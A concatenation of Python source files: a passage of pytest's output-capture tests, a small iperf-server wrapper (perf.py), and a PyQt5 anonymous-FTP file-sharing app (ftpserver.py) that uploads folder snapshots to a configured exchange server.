sub1 = testdir.mkpydir("sub1") sub1.join("conftest.py").write( textwrap.dedent( """\ def pytest_runtest_setup(item): raise ValueError(42) """ ) ) sub1.join("test_mod.py").write("def test_func1(): pass") result = testdir.runpytest(testdir.tmpdir, "--traceconfig") result.stdout.fnmatch_lines(["*ValueError(42)*", "*1 error*"]) def test_fdfuncarg_skips_on_no_osdup(testdir): testdir.makepyfile( """ import os if hasattr(os, 'dup'): del os.dup def test_hello(capfd): pass """ ) result = testdir.runpytest_subprocess("--capture=no") result.stdout.fnmatch_lines(["*1 skipped*"]) def test_capture_conftest_runtest_setup(testdir): testdir.makeconftest( """ def pytest_runtest_setup(): print("hello19") """ ) testdir.makepyfile("def test_func(): pass") result = testdir.runpytest() assert result.ret == 0 result.stdout.no_fnmatch_line("*hello19*") def test_capture_badoutput_issue412(testdir): testdir.makepyfile( """ import os def test_func(): omg = bytearray([1,129,1]) os.write(1, omg) assert 0 """ ) result = testdir.runpytest("--capture=fd") result.stdout.fnmatch_lines( """ *def test_func* *assert 0* *Captured* *1 failed* """ ) def test_capture_early_option_parsing(testdir): testdir.makeconftest( """ def pytest_runtest_setup(): print("hello19") """ ) testdir.makepyfile("def test_func(): pass") result = testdir.runpytest("-vs") assert result.ret == 0 assert "hello19" in result.stdout.str() def test_capture_binary_output(testdir): testdir.makepyfile( r""" import pytest def test_a(): import sys import subprocess subprocess.call([sys.executable, __file__]) def test_foo(): import os;os.write(1, b'\xc3') if __name__ == '__main__': test_foo() """ ) result = testdir.runpytest("--assert=plain") result.assert_outcomes(passed=2) def test_error_during_readouterr(testdir): """Make sure we suspend capturing if errors occur during readouterr""" testdir.makepyfile( pytest_xyz=""" from _pytest.capture import FDCapture def bad_snap(self): raise Exception('boom') assert FDCapture.snap FDCapture.snap = bad_snap """ ) result = testdir.runpytest_subprocess("-p", "pytest_xyz", "--version") result.stderr.fnmatch_lines( ["*in bad_snap", " raise Exception('boom')", "Exception: boom"] ) class TestCaptureIO: def test_text(self): f = capture.CaptureIO() f.write("hello") s = f.getvalue() assert s == "hello" f.close() def test_unicode_and_str_mixture(self): f = capture.CaptureIO() f.write("\u00f6") pytest.raises(TypeError, f.write, b"hello") def test_write_bytes_to_buffer(self): """In python3, stdout / stderr are text io wrappers (exposing a buffer property of the underlying bytestream). See issue #1407 """ f = capture.CaptureIO() f.buffer.write(b"foo\r\n") assert f.getvalue() == "foo\r\n" def test_dontreadfrominput(): from _pytest.capture import DontReadFromInput f = DontReadFromInput() assert f.buffer is f assert not f.isatty() pytest.raises(IOError, f.read) pytest.raises(IOError, f.readlines) iter_f = iter(f) pytest.raises(IOError, next, iter_f) pytest.raises(UnsupportedOperation, f.fileno) f.close() # just for completeness @pytest.fixture def tmpfile(testdir) -> Generator[BinaryIO, None, None]: f = testdir.makepyfile("").open("wb+") yield f if not f.closed: f.close() @needsosdup def test_dupfile(tmpfile) -> None: flist = [] # type: List[TextIO] for i in range(5): nf = capture.safe_text_dupfile(tmpfile, "wb") assert nf != tmpfile assert nf.fileno() != tmpfile.fileno() assert nf not in flist print(i, end="", file=nf) flist.append(nf) fname_open = flist[0].name assert fname_open == repr(flist[0].buffer) for i in range(5): f = flist[i] f.close() fname_closed = flist[0].name assert fname_closed == repr(flist[0].buffer) assert fname_closed != fname_open tmpfile.seek(0) s = tmpfile.read() assert "01234" in repr(s) tmpfile.close() assert fname_closed == repr(flist[0].buffer) def test_dupfile_on_bytesio(): bio = io.BytesIO() f = capture.safe_text_dupfile(bio, "wb") f.write("hello") assert bio.getvalue() == b"hello" assert "BytesIO object" in f.name def test_dupfile_on_textio(): sio = StringIO() f = capture.safe_text_dupfile(sio, "wb") f.write("hello") assert sio.getvalue() == "hello" assert not hasattr(f, "name") @contextlib.contextmanager def lsof_check(): pid = os.getpid() try: out = subprocess.check_output(("lsof", "-p", str(pid))).decode() except (OSError, subprocess.CalledProcessError, UnicodeDecodeError) as exc: # about UnicodeDecodeError, see note on pytester pytest.skip("could not run 'lsof' ({!r})".format(exc)) yield out2 = subprocess.check_output(("lsof", "-p", str(pid))).decode() len1 = len([x for x in out.split("\n") if "REG" in x]) len2 = len([x for x in out2.split("\n") if "REG" in x]) assert len2 < len1 + 3, out2 class TestFDCapture: pytestmark = needsosdup def test_simple(self, tmpfile): fd = tmpfile.fileno() cap = capture.FDCapture(fd) data = b"hello" os.write(fd, data) s = cap.snap() cap.done() assert not s cap = capture.FDCapture(fd) cap.start() os.write(fd, data) s = cap.snap() cap.done() assert s == "hello" def test_simple_many(self, tmpfile): for i in range(10): self.test_simple(tmpfile) def test_simple_many_check_open_files(self, testdir): with lsof_check(): with testdir.makepyfile("").open("wb+") as tmpfile: self.test_simple_many(tmpfile) def test_simple_fail_second_start(self, tmpfile): fd = tmpfile.fileno() cap = capture.FDCapture(fd) cap.done() pytest.raises(ValueError, cap.start) def test_stderr(self): cap = capture.FDCapture(2) cap.start() print("hello", file=sys.stderr) s = cap.snap() cap.done() assert s == "hello\n" def test_stdin(self): cap = capture.FDCapture(0) cap.start() x = os.read(0, 100).strip() cap.done() assert x == b"" def test_writeorg(self, tmpfile): data1, data2 = b"foo", b"bar" cap = capture.FDCapture(tmpfile.fileno()) cap.start() tmpfile.write(data1) tmpfile.flush() cap.writeorg(data2) scap = cap.snap() cap.done() assert scap == data1.decode("ascii") with open(tmpfile.name, "rb") as stmp_file: stmp = stmp_file.read() assert stmp == data2 def test_simple_resume_suspend(self): with saved_fd(1): cap = capture.FDCapture(1) cap.start() data = b"hello" os.write(1, data) sys.stdout.write("whatever") s = cap.snap() assert s == "hellowhatever" cap.suspend() os.write(1, b"world") sys.stdout.write("qlwkej") assert not cap.snap() cap.resume() os.write(1, b"but now") sys.stdout.write(" yes\n") s = cap.snap() assert s == "but now yes\n" cap.suspend() cap.done() pytest.raises(AttributeError, cap.suspend) def test_capfd_sys_stdout_mode(self, capfd): assert "b" not in sys.stdout.mode @contextlib.contextmanager def saved_fd(fd): new_fd = os.dup(fd) try: yield finally: os.dup2(new_fd, fd) os.close(new_fd) class TestStdCapture: captureclass = staticmethod(StdCapture) @contextlib.contextmanager def getcapture(self, **kw): cap = self.__class__.captureclass(**kw) cap.start_capturing() try: yield cap finally: cap.stop_capturing() def test_capturing_done_simple(self): with self.getcapture() as cap: sys.stdout.write("hello") sys.stderr.write("world") out, err = cap.readouterr() assert out == "hello" assert err == "world" def test_capturing_reset_simple(self): with self.getcapture() as cap: print("hello world") sys.stderr.write("hello error\n") out, err = cap.readouterr() assert out == "hello world\n" assert err == "hello error\n" def test_capturing_readouterr(self): with self.getcapture() as cap: print("hello world") sys.stderr.write("hello error\n") out, err = cap.readouterr() assert out == "hello world\n" assert err == "hello error\n" sys.stderr.write("error2") out, err = cap.readouterr() assert err == "error2" def test_capture_results_accessible_by_attribute(self): with self.getcapture() as cap: sys.stdout.write("hello") sys.stderr.write("world") capture_result = cap.readouterr() assert capture_result.out == "hello" assert capture_result.err == "world" def test_capturing_readouterr_unicode(self): with self.getcapture() as cap: print("hxąć") out, err = cap.readouterr() assert out == "hxąć\n" def test_reset_twice_error(self): with self.getcapture() as cap: print("hello") out, err = cap.readouterr() pytest.raises(ValueError, cap.stop_capturing) assert out == "hello\n" assert not err def test_capturing_modify_sysouterr_in_between(self): oldout = sys.stdout olderr = sys.stderr with self.getcapture() as cap: sys.stdout.write("hello") sys.stderr.write("world") sys.stdout = capture.CaptureIO() sys.stderr = capture.CaptureIO() print("not seen") sys.stderr.write("not seen\n") out, err = cap.readouterr() assert out == "hello" assert err == "world" assert sys.stdout == oldout assert sys.stderr == olderr def test_capturing_error_recursive(self): with self.getcapture() as cap1: print("cap1") with self.getcapture() as cap2: print("cap2") out2, err2 = cap2.readouterr() out1, err1 = cap1.readouterr() assert out1 == "cap1\n" assert out2 == "cap2\n" def test_just_out_capture(self): with self.getcapture(out=True, err=False) as cap: sys.stdout.write("hello") sys.stderr.write("world") out, err = cap.readouterr() assert out == "hello" assert not err def test_just_err_capture(self): with self.getcapture(out=False, err=True) as cap: sys.stdout.write("hello") sys.stderr.write("world") out, err = cap.readouterr() assert err == "world" assert not out def test_stdin_restored(self): old = sys.stdin with self.getcapture(in_=True): newstdin = sys.stdin assert newstdin != sys.stdin assert sys.stdin is old def test_stdin_nulled_by_default(self): print("XXX this test may well hang instead of crashing") print("XXX which indicates an error in the underlying capturing") print("XXX mechanisms") with self.getcapture(): pytest.raises(IOError, sys.stdin.read) class TestStdCaptureFD(TestStdCapture): pytestmark = needsosdup captureclass = staticmethod(StdCaptureFD) def test_simple_only_fd(self, testdir): testdir.makepyfile( """\ import os def test_x(): os.write(1, b"hello\\n") assert 0 """ ) result = testdir.runpytest_subprocess() result.stdout.fnmatch_lines( """ *test_x* *assert 0* *Captured stdout* """ ) def test_intermingling(self): with self.getcapture() as cap: os.write(1, b"1") sys.stdout.write(str(2)) sys.stdout.flush() os.write(1, b"3") os.write(2, b"a") sys.stderr.write("b") sys.stderr.flush() os.write(2, b"c") out, err = cap.readouterr() assert out == "123" assert err == "abc" def test_many(self, capfd): with lsof_check(): for i in range(10): cap = StdCaptureFD() cap.stop_capturing() class TestStdCaptureFDinvalidFD: pytestmark = needsosdup def test_stdcapture_fd_invalid_fd(self, testdir): testdir.makepyfile( """ import os from _pytest import capture def StdCaptureFD(out=True, err=True, in_=True): return capture.MultiCapture(out, err, in_, Capture=capture.FDCapture) def test_stdout(): os.close(1) cap = StdCaptureFD(out=True, err=False, in_=False) assert repr(cap.out) == "<FDCapture 1 oldfd=None _state=None>" cap.stop_capturing() def test_stderr(): os.close(2) cap = StdCaptureFD(out=False, err=True, in_=False) assert repr(cap.err) == "<FDCapture 2 oldfd=None _state=None>" cap.stop_capturing() def test_stdin(): os.close(0) cap = StdCaptureFD(out=False, err=False, in_=True) assert repr(cap.in_) == "<FDCapture 0 oldfd=None _state=None>" cap.stop_capturing() """ ) result = testdir.runpytest_subprocess("--capture=fd") assert result.ret == 0 assert result.parseoutcomes()["passed"] == 3 def test_capture_not_started_but_reset(): capsys = StdCapture() capsys.stop_capturing() def test_using_capsys_fixture_works_with_sys_stdout_encoding(capsys): test_text = "test text" print(test_text.encode(sys.stdout.encoding, "replace")) (out, err) = capsys.readouterr() assert out assert err == "" def test_capsys_results_accessible_by_attribute(capsys): sys.stdout.write("spam") sys.stderr.write("eggs") capture_result = capsys.readouterr() assert capture_result.out == "spam" assert capture_result.err == "eggs" @needsosdup @pytest.mark.parametrize("use", [True, False]) def test_fdcapture_tmpfile_remains_the_same(tmpfile, use): if not use: tmpfile = True cap = StdCaptureFD(out=False, err=tmpfile) try: cap.start_capturing() capfile = cap.err.tmpfile cap.readouterr() finally: cap.stop_capturing() capfile2 = cap.err.tmpfile assert capfile2 == capfile @needsosdup def test_close_and_capture_again(testdir): testdir.makepyfile( """ import os def test_close(): os.close(1) def test_capture_again(): os.write(1, b"hello\\n") assert 0 """ ) result = testdir.runpytest_subprocess() result.stdout.fnmatch_lines( """ *test_capture_again* *assert 0* *stdout* *hello* """ ) @pytest.mark.parametrize("method", ["SysCapture", "FDCapture"]) def test_capturing_and_logging_fundamentals(testdir, method): if method == "StdCaptureFD" and not hasattr(os, "dup"): pytest.skip("need os.dup") # here we check a fundamental feature p = testdir.makepyfile( """ import sys, os import py, logging from _pytest import capture cap = capture.MultiCapture(out=False, in_=False, Capture=capture.%s) cap.start_capturing() logging.warning("hello1") outerr = cap.readouterr() print("suspend, captured %%s" %%(outerr,)) logging.warning("hello2") cap.pop_outerr_to_orig() logging.warning("hello3") outerr = cap.readouterr() print("suspend2, captured %%s" %% (outerr,)) """ % (method,) ) result = testdir.runpython(p) result.stdout.fnmatch_lines( """ suspend, captured*hello1* suspend2, captured*WARNING:root:hello3* """ ) result.stderr.fnmatch_lines( """ WARNING:root:hello2 """ ) assert "atexit" not in result.stderr.str() def test_error_attribute_issue555(testdir): testdir.makepyfile( """ import sys def test_capattr(): assert sys.stdout.errors == "strict" assert sys.stderr.errors == "strict" """ ) reprec = testdir.inline_run() reprec.assertoutcome(passed=1) @pytest.mark.skipif( not sys.platform.startswith("win") and sys.version_info[:2] >= (3, 6), reason="only py3.6+ on windows", ) def test_py36_windowsconsoleio_workaround_non_standard_streams(): """ Ensure _py36_windowsconsoleio_workaround function works with objects that do not implement the full ``io``-based stream protocol, for example execnet channels (#2666). """ from _pytest.capture import _py36_windowsconsoleio_workaround class DummyStream: def write(self, s): pass stream = DummyStream() _py36_windowsconsoleio_workaround(stream) def test_dontreadfrominput_has_encoding(testdir): testdir.makepyfile( """ import sys def test_capattr(): # should not raise AttributeError assert sys.stdout.encoding assert sys.stderr.encoding """ ) reprec = testdir.inline_run() reprec.assertoutcome(passed=1) def test_crash_on_closing_tmpfile_py27(testdir): p = testdir.makepyfile( """ import threading import sys printing = threading.Event() def spam(): f = sys.stderr print('SPAMBEFORE', end='', file=f) printing.set() while True: try: f.flush() except (OSError, ValueError): break def test_spam_in_thread(): t = threading.Thread(target=spam) t.daemon = True t.start() printing.wait() """ ) # Do not consider plugins like hypothesis, which might output to stderr. testdir.monkeypatch.setenv("PYTEST_DISABLE_PLUGIN_AUTOLOAD", "1") result = testdir.runpytest_subprocess(str(p)) assert result.ret == 0 assert result.stderr.str() == "" result.stdout.no_fnmatch_line("*IOError*") def test_pickling_and_unpickling_encoded_file(): # See https://bitbucket.org/pytest-dev/pytest/pull-request/194 # pickle.loads() raises infinite recursion if # EncodedFile.__getattr__ is not implemented properly ef = capture.EncodedFile(None, None) ef_as_str = pickle.dumps(ef) pickle.loads(ef_as_str) def test_global_capture_with_live_logging(testdir): # Issue 3819 # capture should work with live cli logging # Teardown report seems to have the capture for the whole process (setup, capture, teardown) testdir.makeconftest( """ def pytest_runtest_logreport(report): if "test_global" in report.nodeid: if report.when == "teardown": with open("caplog", "w") as f: f.write(report.caplog) with open("capstdout", "w") as f: f.write(report.capstdout) """ ) testdir.makepyfile( """ import logging import sys import pytest logger = logging.getLogger(__name__) @pytest.fixture def fix1(): print("fix setup") logging.info("fix setup") yield logging.info("fix teardown") print("fix teardown") def test_global(fix1): print("begin test") logging.info("something in test") print("end test") """ ) result = testdir.runpytest_subprocess("--log-cli-level=INFO") assert result.ret == 0 with open("caplog", "r") as f: caplog = f.read() assert "fix setup" in caplog assert "something in test" in caplog assert "fix teardown" in caplog with open("capstdout", "r") as f: capstdout = f.read() assert "fix setup" in capstdout assert "begin test" in capstdout assert "end test" in capstdout assert "fix teardown" in capstdout @pytest.mark.parametrize("capture_fixture", ["capsys", "capfd"]) def test_capture_with_live_logging(testdir, capture_fixture): # Issue 3819 # capture should work with live cli logging testdir.makepyfile( """ import logging import sys logger = logging.getLogger(__name__) def test_capture({0}): print("hello") sys.stderr.write("world\\n") captured = {0}.readouterr() assert captured.out == "hello\\n" assert captured.err == "world\\n" logging.info("something") print("next") logging.info("something") captured = {0}.readouterr() assert captured.out == "next\\n" """.format( capture_fixture ) ) result = testdir.runpytest_subprocess("--log-cli-level=INFO") assert result.ret == 0 def test_typeerror_encodedfile_write(testdir): """It should behave the same with and without output capturing (#4861).""" p = testdir.makepyfile( """ def test_fails(): import sys sys.stdout.write(b"foo") """ ) result_without_capture = testdir.runpytest("-s", str(p)) result_with_capture = testdir.runpytest(str(p)) assert result_with_capture.ret == result_without_capture.ret result_with_capture.stdout.fnmatch_lines( ["E * TypeError: write() argument must be str, not bytes"] ) def test_stderr_write_returns_len(capsys): """Write on Encoded files, namely captured stderr, should return number of characters written.""" assert sys.stderr.write("Foo") == 3 def test_encodedfile_writelines(tmpfile: BinaryIO) -> None: ef = capture.EncodedFile(tmpfile, "utf-8") with pytest.raises(AttributeError): ef.writelines([b"line1", b"line2"]) # type: ignore[list-item] # noqa: F821 assert ef.writelines(["line1", "line2"]) is None # type: ignore[func-returns-value] # noqa: F821 tmpfile.seek(0) assert tmpfile.read() == b"line1line2" tmpfile.close() with pytest.raises(ValueError): ef.read()
perf.py
import sys import subprocess import threading class Iperf(): """ Install and start a server automatically """ try: if not nextline: mtu = None except NameError: mtu = None # The following is a mess - since I'm installing iperf3 in the function # Surely there is another easier way to get this into the charm? def __init__(self): #try: # subprocess.check_call(['pgrep', 'iperf'], stderr=subprocess.STDOUT) # if a: thread = threading.Thread(target=self.start_server, args=()) thread.start() #except: # pass #hookenv.log(sys.exc_info()[0], 'INFO') def start_server(self): process = subprocess.Popen(['iperf', '-s', '-m'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while True: nextline = process.stdout.readline() nextline = nextline.decode("utf-8") if nextline == '' and process.poll() is not None: break if "bits" in nextline: self.speed = nextline.rsplit(' ', 2)[1] sys.stdout.write(self.speed) sys.stdout.write("\n") if "MTU" in nextline: self.mtu = nextline.rsplit(' ', 4)[1] sys.stdout.write(self.mtu) sys.stdout.flush() #output = process.communicate()[0] #exitCode = process.returncode # #output = exitCode #if (exitCode == 0): # pass #elif exitCode: # raise Exception(command, exitCode, output) perf = Iperf() #print (perf.mtu)
ftpserver.py
#!/usr/bin/python3 from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.handlers import ThrottledDTPHandler from pyftpdlib.servers import FTPServer # import additions import sys import os import errno import socket import threading import subprocess import time import requests import json import mimetypes from tinydb import TinyDB, where, Query from urllib.parse import urlparse from copy import deepcopy from datetime import datetime # these are my global variables # userbase = auth.Userbase() python = sys.executable PORT = 2121 server = None gen_snapshot = False exchange_connect_status = False CAPERROR = False exchange_url = '' total_share_size = 0 server_running_status = False app_is_running = True ls = os.listdir pwd = os.getcwd() # anonymous user class # class AnonymousUser: # """Each instance of this class represents an anonymous user # * name : anonymous (as both kinds of users are in same database) # * homedir | * permission # * msg_login | * msg_quit # * # * save_details() : save current details # """ # def __init__(self, dic): # k = list(dic.keys()) # if 'homedir' in k and \ # 'permission' in k: # self.record = deepcopy(dic) # if not 'msg_quit' in k: # self.record['msg_quit'] = '' # if not 'msg_login' in k: # self.record['msg_login'] = '' # self.record['name'] = 'anonymous' # self.name = self.record['name'] # self.homedir = self.record['homedir'] # self.permission = self.record['permission'] # self.msg_login = self.record['msg_login'] # self.msg_quit = self.record['msg_quit'] # def save_details(self): # dbase = TinyDB('user_database.json') # if not (dbase.count(where('name') == self.record['name'])) == 0: # dbase.remove(where('name') == self.record['name']) # dbase.insert(self.record) # dbase.close() class FTPSettings: """Class to handle FTP Settings There are following attributes that are saved in settings file * server_name | name of the server * server_banner | message displayed on connecting first time (FTPHandler) * port | port (default 2121) * max_cons | maximum connections to the server (FTPServer) * max_cons_per_ip | maximum connections per ip address (FTPServer) * max_upload_speed | maximum upload speed on server (take care of hard drive i/o and network speed) (ThrottledDTPHandler) * max_download_speed | maximum download speed (auto_sized_buffers are True by default) (ThrottledDTPHandler) * permit_outside_lan | FTPHandler (permit_foreign_addresses) [ Not handling due to lack of knowledge ] * homedir | Anonymous home directory (added for this minimal version) """ def __init__(self): """read data from settings file""" dbase = TinyDB('settings.json') if len(dbase.all()) == 0: self.server_name = 'whoami' self.server_banner = "Welcome..." self.port = 2121 self.max_cons = 10 self.max_cons_per_ip = 2 self.max_upload_speed = 2097152 # approximately 2 Mbps in bytes self.max_download_speed = 10 # to resrtict uploads from public on server, # when write permission is allowed # self.permit_outside_lan = False self.exchange_url = "" self.homedir = "" else: try: rec = dbase.all()[0] self.server_name = rec['server_name'] self.server_banner = rec['server_banner'] self.port = rec['port'] self.max_cons = rec['max_cons'] self.max_cons_per_ip = rec['max_cons_per_ip'] self.max_upload_speed = rec['max_upload_speed'] self.max_download_speed = rec['max_download_speed'] self.exchange_url = rec['exchange_url'] self.homedir = rec['homedir'] except KeyError: self.restore_default_settings() # permit outside lan has not been included dbase.close() def reload_settings(self): self.__init__() def save_settings(self): """save settings to settings file""" dbase = TinyDB('settings.json') dbase.purge() rec={} rec['server_name'] = self.server_name rec['server_banner'] = self.server_banner rec['port'] = self.port rec['max_cons'] = self.max_cons rec['max_cons_per_ip'] = self.max_cons_per_ip rec['max_upload_speed'] = self.max_upload_speed rec['max_download_speed'] = self.max_download_speed # f['permit_outside_lan'] = self.permit_outside_lan rec['exchange_url'] = self.exchange_url rec['homedir'] = self.homedir dbase.insert(rec) dbase.close() mylog("Settings modified") def restore_default_settings(self): dbase = TinyDB('settings.json') dbase.purge() dbase.close() self.__init__() # here the global key functions def mylog(ar): f = open('log.txt', 'a') f.write(str(datetime.now()) + " " + ar + "\n") f.close() def load_settings(): return FTPSettings() def start_server(): server.serve_forever() def stop_server(): server.close_all() def is_port_available(port): port = int(port) try: # connecting on localhost, previously it was 0.0.0.0, to satisfy Windows result = socket.create_connection(('localhost', port), 2) except OverflowError: mylog ("Socket out of range") except (ConnectionError, ConnectionRefusedError): # Connection refused error to handle windows systems:( return True except Exception as e: mylog('error while port check') return result==0 def get_ip_address(): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8",80)) ip = s.getsockname()[0] s.close() return ip except Exception as e: try: ip = socket.gethostbyname(socket.getfqdn()) return ip except Exception as e: mylog("cannot determine ip address" + str(e)) return "" return "" class generate_system_snapshot(threading.Thread): def __init__(self): threading.Thread.__init__(self) def do_the_job(self): global exchange_connect_status, gen_snapshot, total_share_size, app_is_running self.dbdict = {} self.dbdict["filedata"] = {} self.dbtable = self.dbdict["filedata"] # self.dic = dict() self.totalsize = 0 self.filecount = 0 def path_to_dict(path, l): if ( not gen_snapshot ) or (not app_is_running ): # not generating snapshot return try: if os.path.isdir(path): for x in ls(path): path_to_dict(os.path.join(path, x), l) else: self.filecount += 1 size = os.path.getsize(path) filename = os.path.basename(path) self.dbtable[str(self.filecount)] = { "filename":filename, "size":size, "fullpath":path[l:-len(filename)], "mimetype":mimetypes.guess_type(filename)[0] } # self.dic[os.path.basename(path)] = { "size" : os.path.getsize(path), "fullpath" : path[l:] } self.totalsize += size except Exception as e: raise e if not gen_snapshot: return shared_dir = load_settings().homedir p = os.path.abspath(shared_dir) path_to_dict(p, len(p)) self.dbdict["metadata"] = {} self.metadata = self.dbdict["metadata"] self.metadata['1'] = { "totalfiles":self.filecount, "totalsize":self.totalsize } total_share_size = self.totalsize # earlier, tinydb insert function was used to insert records into database in json format # which was extremely slow # now, the database is created manually, in the format tinydb keeps them. f = open('snapshot.json', 'w') f.write(json.dumps(self.dbdict, indent=2)) f.close() mylog("Snapshot generated") def upload_file(self): global exchange_url, CAPERROR mylog("Starting upload") try: dest_dir = load_settings().homedir dest_path = os.path.join(dest_dir, 'snapshot.json') dest_file = open(dest_path, 'wb') source_file = open('snapshot.json', 'rb') dest_file.write(source_file.read()) source_file.close() dest_file.close() # now notify you dad to take the parcel mylog('Asking dad to take the parcel') f = open('session_id', 'r') sessionid = f.read().strip() f.close() uri=exchange_url+'/cgi-bin/actions.py' headers = {'user-agent':'21Lane'} r = requests.post(url=uri, data={'action':'snapshot'}, cookies={'session_id':sessionid}, headers=headers, timeout=5, proxies={'socks':None, 'http':None}) if r.status_code==200: if r.text.strip() == 'ok': mylog('Snapshot file uploaded successfully.') os.remove(dest_path) elif r.text.strip() == 'CAPERROR': mylog("exchange raised cap error") CAPERROR = True else: mylog("Some error occured while uploading snapshot.") except (requests.exceptions.ConnectionError, ConnectionAbortedError, requests.exceptions.Timeout) as e: mylog("Network error while periodical uploads.") raise e except Exception as e: # first close any open file to avoid permissions error in windows, and other similar errors try: if not f.closed: f.close() if not dest_file.closed: dest_file.close() if not source_file.closed: source_file.close except NameError: pass if 'session_id' in ls(pwd): os.remove('session_id') mylog(str(e) + ' ' + 'is the error') raise e def getThreadName(self): return self.thread_name def run(self): self.thread_name = self.getName() global gen_snapshot, app_is_running cur_time = time.time() wait_time = 60*60 # one hour gap next_time = cur_time upload_time = time.time() while True and app_is_running: if not gen_snapshot: mylog("Ending snapshot thread") break if cur_time >= next_time: mylog('Generating snapshot') self.do_the_job() next_time += wait_time if exchange_connect_status == True: self.upload_file() else: print("not uploading file") # breathe, don't choke while you run time.sleep(1) cur_time += 1 mylog("Snapshot creator Thread quits") class myserver(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): self.thread_name = self.getName() global server, PORT, server_running_status, exchange_url conf = load_settings() exchange_url = conf.exchange_url try: authorizer = DummyAuthorizer() authorizer.add_anonymous(conf.homedir, msg_login="Welcome to 21Lane sharing.", msg_quit="Thanks for using.") except Exception as e: mylog("My server caught an exception") sys.exit(1) ThrottledDTPHandler.write_limit = conf.max_upload_speed ThrottledDTPHandler.read_limit = conf.max_download_speed FTPHandler.dtp_handler = ThrottledDTPHandler FTPHandler.banner = conf.server_banner FTPServer.max_cons = conf.max_cons FTPServer.max_cons_per_ip = conf.max_cons_per_ip FTPHandler.authorizer = authorizer # FTPHandler.permit_foreign_addresses = conf.permit_outside_lan if is_port_available(conf.port): server = FTPServer(('0.0.0.0', conf.port), FTPHandler) else: return server_running_status = True mylog('server status ' + str(server_running_status)) server.serve_forever() def getport(self): return str(PORT) def getThreadName(self): return self.thread_name # handling with GUI from PyQt5.QtWidgets import (QWidget, QAction, qApp, QPushButton, QApplication, QMainWindow, QTextEdit, QMessageBox, QInputDialog, QLineEdit, QLabel, QVBoxLayout, QHBoxLayout, QGridLayout, QFrame, QSlider, QSpinBox, QFileDialog, QSplitter) from PyQt5.QtGui import QIcon, QFont from PyQt5.Qt import QDesktopServices, QUrl from PyQt5.QtCore import Qt, QCoreApplication, pyqtSignal, QObject class CapErrorNotifier(QObject): s = pyqtSignal() # signal class MainUI(QWidget): def __init__(self): super().__init__() self.srv = None self.exchange_process = None self.capThread = None self.initUI() def initUI(self): mylog ("Starting ui") self.itHurtsLabel = QLabel(self) self.itHurtsLabel.setText("Don't randomly hit your mouse. It hurts!'") self.itHurtsLabel.setFont(QFont('SansSerif', 10)) self.itHurtsLabel.setStyleSheet("padding: 5px;") self.itHurtsLabel.setWordWrap(False) self.mainbtn = QPushButton("Start sharing", self) self.mainbtn.setStyleSheet("background-color: #22a7f0; color: white; border: none; padding: 5px;") self.mainbtn.setCheckable(True) self.mainbtn.clicked[bool].connect(self.check_server) self.exchangebtn = QPushButton("View other users", self) self.exchangebtn.setStyleSheet("background-color: #bdc3c7; color: white; border: none; padding: 5px 15px;") self.exchangebtn.setCheckable(True) self.exchangebtn.setEnabled(False) # port check tool portCheck = QAction(QIcon('icons/ic_search_black_48dp_1x.png'), 'Port &Check', self) portCheck.setShortcut('Ctrl+F') portCheck.setToolTip("Port Scan : Ctrl+F") portCheck.setStatusTip("Check whether a port is available") portCheck.triggered.connect(self.checkPortUI) # portCheck.triggered.connect(portCheckUI()) # connect to 21Exchange self.exchange = QAction(QIcon('icons/disconnect.png'), 'Connect to &Exchange...', self) self.exchange.setShortcut('Ctrl+E') self.exchange.setToolTip("Connect to exchange : Ctrl+E") self.exchange.setStatusTip("Connect to 21Exchange servers on local network.") self.exchange.triggered.connect(self.exchange_connect) # disconnect from 21exchange self.disconnect = QAction(QIcon('icons/ic_wb_cloudy_black_48dp_2x.png'), 'Connect to &Exchange...', self) self.disconnect.setShortcut('Ctrl+E') self.disconnect.setToolTip("Connect to exchange : Ctrl+E") self.disconnect.setStatusTip("Connect to 21Exchange servers on local network.") self.disconnect.triggered.connect(self.exchange_disconnect) # help self.helpAction = QAction(QIcon('icons/ic_help_outline_black_24dp_2x.png'), '&Help', self) self.helpAction.setToolTip("Help") self.helpAction.setShortcut("F1") self.helpAction.setStatusTip("Help") self.helpAction.triggered.connect(self.show_help) # git action self.gitAction = QAction(QIcon('icons/GitHub-Mark-64px.png'), 'View on &Github', self) self.gitAction.setToolTip("See code") self.gitAction.setStatusTip("Github repo") self.gitAction.triggered.connect(self.show_git) # self.toolbar = self.addToolBar("Quick Access") # self.toolbar.setToolTip("Controls toolbar") # # self.toolbar.addAction(exitAction) # self.toolbar.addAction(portCheck) # self.toolbar.addAction(self.gitAction) # self.toolbar.addAction(self.helpAction) # self.toolbar.addAction(self.exchange) # self.snapshot_thread = None # self.srv = None # Configuration options self.nameLabel = QLabel(self); self.nameLabel.setText("Public Name"); self.portLabel = QLabel(self); self.portLabel.setText("Port") self.maxconLabel = QLabel(self); self.maxconLabel.setText("Max. connections (total) allowed") self.maxconperipLabel = QLabel(self); self.maxconperipLabel.setText("Max. connections per IP allowed") self.speedLabel = QLabel(self); self.speedLabel.setText("Bandwidth limit") self.exchangeLabel = QLabel(self); self.exchangeLabel.setText("Exchange URL") self.speedDisplay = QLabel(self) self.nameInput = QLineEdit(self); self.nameInput.setPlaceholderText("Max. 16 characters"); self.nameInput.setMaxLength(16) self.portInput = QSpinBox(self); self.portInput.setRange(0, 65535); self.portInput.setValue(2121) self.maxconInput = QSpinBox(self) self.maxconperipInput = QSpinBox(self) self.speedInput = QSlider(Qt.Horizontal, self); self.speedInput.setFocusPolicy(Qt.NoFocus) self.exchangeInput = QLineEdit(self); self.exchangeInput.setPlaceholderText("Get it from the exchange website.") self.speedInput.valueChanged[int].connect(self.downSpeedChanged) self.nameInput.setToolTip("Your name on the network") self.portInput.setToolTip("Between 0 and 65535 (integer only)") self.maxconInput.setToolTip("Total users which can connect to your system") self.maxconperipInput.setToolTip("Total connections one user can make to your system") self.speedInput.setToolTip("This is the max.speed at which \nyou allow uploads from your system \n(For users with write permission) \nHigher values can freeze your system.") self.maxconInput.setMinimum(3); self.maxconInput.setMaximum(100) self.maxconperipInput.setMinimum(3); self.maxconperipInput.setMaximum(10) self.speedInput.setMinimum(1536); self.speedInput.setMaximum(5632); self.homedirSelect = QPushButton('Select shared folder', self) self.homedirInput = QLineEdit(self); self.homedirSelect.setToolTip("Click this button to choose folder to share") self.homedirSelect.clicked.connect(self.showDirChooser) # setting up the layout # self.settingsFrame = QFrame() 